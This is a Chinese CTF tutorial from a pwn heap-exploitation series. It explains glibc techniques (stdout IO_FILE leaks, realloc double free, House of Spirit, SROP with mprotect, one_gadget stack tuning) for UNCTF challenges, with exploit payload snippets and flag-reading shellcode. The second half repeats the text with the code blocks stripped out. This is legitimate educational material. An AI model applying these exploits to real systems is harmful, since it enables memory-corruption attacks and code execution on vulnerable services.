pwn堆入门系列教程10
字数 1713 2025-08-24 20:49:22

Pwn堆利用高级技巧与实战分析

一、基础漏洞利用技巧

1. 数组越界漏洞利用

  • 漏洞点:数组index可以输入负数
  • 利用方法:通过负数索引修改IO_stdout结构体
  • 典型场景:当程序允许负数索引时,可以修改关键内存区域

2. Double Free高级利用

  • realloc特殊行为

    • size == 0:等同于free
    • realloc_ptr == 0 && size > 0:等同于malloc
    • malloc_usable_size(realloc_ptr) >= size:等同于edit
    • malloc_usable_size(realloc_ptr) < size:分配更大内存并复制内容
  • 利用链

    free(ptr)
    realloc(ptr,0)  # 形成double free
    

二、IO_FILE攻击技术

1. 泄露libc地址

  • 攻击流程

    1. 构造伪造的IO_FILE结构
    2. 通过越界写入修改_IO_2_1_stdout_
    3. 触发输出泄露libc地址
  • 关键payload

    payload = p64(0xfbad1800) + p64(0)*3 + '\x00'
    edit(-12, payload)  # 修改stdout结构
    

2. 调试技巧

  • 异常处理:在调试时抛出异常可快速验证利用是否成功
  • IDA优化:patch掉不必要的文件操作代码提高调试效率

三、House of Spirit技术

1. 核心原理

  • 在目标位置伪造fastbin chunk并释放
  • 通过分配获得指定地址的chunk

2. 绕过检查条件

  1. fake chunk的ISMMAP位不能为1
  2. fake chunk地址需要对齐(MALLOC_ALIGN_MASK)
  3. size大小需满足对应fastbin要求且对齐
  4. next chunk大小需满足:2*SIZE_SZ < size < av->system_mem
  5. 不能构成double free情况

3. 典型利用代码

# 构造fake chunk
payload = flat([0, 0xf0, heap_base+0x58-0x18, heap_base+0x58-0x10])
payload = payload.ljust(0xf0) + p64(0xf0)
edit(0, payload)
free(1)  # 释放伪造的chunk

四、SROP与内存权限修改

1. mprotect利用

  • 功能:修改内存页权限为可执行
  • 利用条件
    • 知道内存页地址
    • 内存页内容可控
    • 了解x64系统调用表

2. SROP攻击流程

  1. 通过unsortedbin攻击控制__free_hook
  2. 设置setcontext+53的SROP帧
  3. 构造栈迁移布局
  4. 调用mprotect修改内存权限
  5. 执行shellcode

3. 关键代码

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (libc.symbols['__free_hook']) & 0xfffffffffffff000
frame.rdx = 0x2000
frame.rsp = (libc.symbols['__free_hook']) & 0xfffffffffffff000
frame.rip = libc.address + 0x00000000000bc375  # syscall; ret;

五、Shellcode编写技巧

1. 文件操作Shellcode

shellcode = '''
    push 0x67616c66  # 'flag'
    mov rdi, rsp
    xor esi, esi
    push 2
    pop rax
    syscall  # open
    
    mov edi, eax
    mov rsi, rsp
    mov edx, 0x100
    xor eax, eax
    syscall  # read
    
    mov edi, 1
    mov rsi, rsp
    push 1
    pop rax
    syscall  # write
'''

2. pwntools辅助生成

shellcode = shellcraft.amd64.open('flag')
shellcode += '''
    mov edi, eax
    mov rsi, rsp
    mov edx, 0x100
    xor eax, eax
    syscall
    
    mov edi, 1
    mov rsi, rsp
    push 1
    pop rax
    syscall
'''

六、高级组合利用技巧

1. 栈调整与one_gadget

  • 问题:one_gadget环境约束不满足

  • 解决方案

    1. realloc_hook覆盖为malloc+offset
    2. 通过调整offset控制栈位置
    3. 使rsp+offset满足one_gadget条件
  • 关键payload

    # 调整栈位置+0x10
    payload = "a"*0xb + p64(malloc+0x2) + p64(libc.address + one_gadget[1])
    

2. Unsortedbin攻击组合

  1. 通过unlink造成House of Spirit条件
  2. 多次House of Spirit攻击
  3. 结合unsortedbin攻击最终getshell

七、调试与优化技巧

  1. gdb附加:在关键点attach进程分析内存状态
  2. 错误处理:使用try-except快速验证利用链
  3. 性能优化:patch掉不必要的代码段提高效率
  4. 地址泄露:通过多种方式验证泄露地址的正确性

八、防御绕过技术

  1. 绕过fastbin检查:精心构造fake chunk的size和next size
  2. 绕过tcache:利用unsortedbin等非tcache机制
  3. 绕过ASLR:通过内存泄露获取关键地址
  4. 绕过PIE:利用程序自身的地址泄露功能

九、实战案例总结

  1. UNCTF Box:数组越界+IO_FILE攻击+one_gadget栈调整
  2. UNCTF Driver:House of Spirit+unsortedbin组合攻击
  3. UNCTF ORW:SROP+mprotect+shellcode综合利用

十、扩展学习建议

  1. 深入研究glibc malloc源码
  2. 掌握更多heap利用技术(House of系列)
  3. 学习内核利用技术扩展攻击面
  4. 跟踪最新CTF赛题中的创新利用方法

通过系统掌握这些高级堆利用技术,结合实战经验积累,可以有效提升漏洞利用能力和CTF竞赛水平。

Pwn堆利用高级技巧与实战分析 一、基础漏洞利用技巧 1. 数组越界漏洞利用 漏洞点 :数组index可以输入负数 利用方法 :通过负数索引修改 IO_stdout 结构体 典型场景 :当程序允许负数索引时,可以修改关键内存区域 2. Double Free高级利用 realloc特殊行为 : size == 0 :等同于 free realloc_ptr == 0 && size > 0 :等同于 malloc malloc_usable_size(realloc_ptr) >= size :等同于 edit malloc_usable_size(realloc_ptr) < size :分配更大内存并复制内容 利用链 : 二、IO_ FILE攻击技术 1. 泄露libc地址 攻击流程 : 构造伪造的 IO_FILE 结构 通过越界写入修改 _IO_2_1_stdout_ 触发输出泄露libc地址 关键payload : 2. 调试技巧 异常处理 :在调试时抛出异常可快速验证利用是否成功 IDA优化 :patch掉不必要的文件操作代码提高调试效率 三、House of Spirit技术 1. 核心原理 在目标位置伪造fastbin chunk并释放 通过分配获得指定地址的chunk 2. 绕过检查条件 fake chunk的 ISMMAP 位不能为1 fake chunk地址需要对齐( MALLOC_ALIGN_MASK ) size大小需满足对应fastbin要求且对齐 next chunk大小需满足: 2*SIZE_SZ < size < av->system_mem 不能构成double free情况 3. 典型利用代码 四、SROP与内存权限修改 1. mprotect利用 功能 :修改内存页权限为可执行 利用条件 : 知道内存页地址 内存页内容可控 了解x64系统调用表 2. SROP攻击流程 通过unsortedbin攻击控制 __free_hook 设置 setcontext +53的SROP帧 构造栈迁移布局 调用mprotect修改内存权限 执行shellcode 3. 关键代码 五、Shellcode编写技巧 1. 文件操作Shellcode 2. pwntools辅助生成 六、高级组合利用技巧 1. 栈调整与one_ gadget 问题 :one_ gadget环境约束不满足 解决方案 : 将 realloc_hook 覆盖为 malloc+offset 通过调整offset控制栈位置 使 rsp+offset 满足one_ gadget条件 关键payload : 2. Unsortedbin攻击组合 通过unlink造成House of Spirit条件 多次House of Spirit攻击 结合unsortedbin攻击最终getshell 七、调试与优化技巧 gdb附加 :在关键点attach进程分析内存状态 错误处理 :使用try-except快速验证利用链 性能优化 :patch掉不必要的代码段提高效率 地址泄露 :通过多种方式验证泄露地址的正确性 八、防御绕过技术 绕过fastbin检查 :精心构造fake chunk的size和next size 绕过tcache :利用unsortedbin等非tcache机制 绕过ASLR :通过内存泄露获取关键地址 绕过PIE :利用程序自身的地址泄露功能 九、实战案例总结 UNCTF Box :数组越界+IO_ FILE攻击+one_ gadget栈调整 UNCTF Driver :House of Spirit+unsortedbin组合攻击 UNCTF ORW :SROP+mprotect+shellcode综合利用 十、扩展学习建议 深入研究glibc malloc源码 掌握更多heap利用技术(House of系列) 学习内核利用技术扩展攻击面 跟踪最新CTF赛题中的创新利用方法 通过系统掌握这些高级堆利用技术,结合实战经验积累,可以有效提升漏洞利用能力和CTF竞赛水平。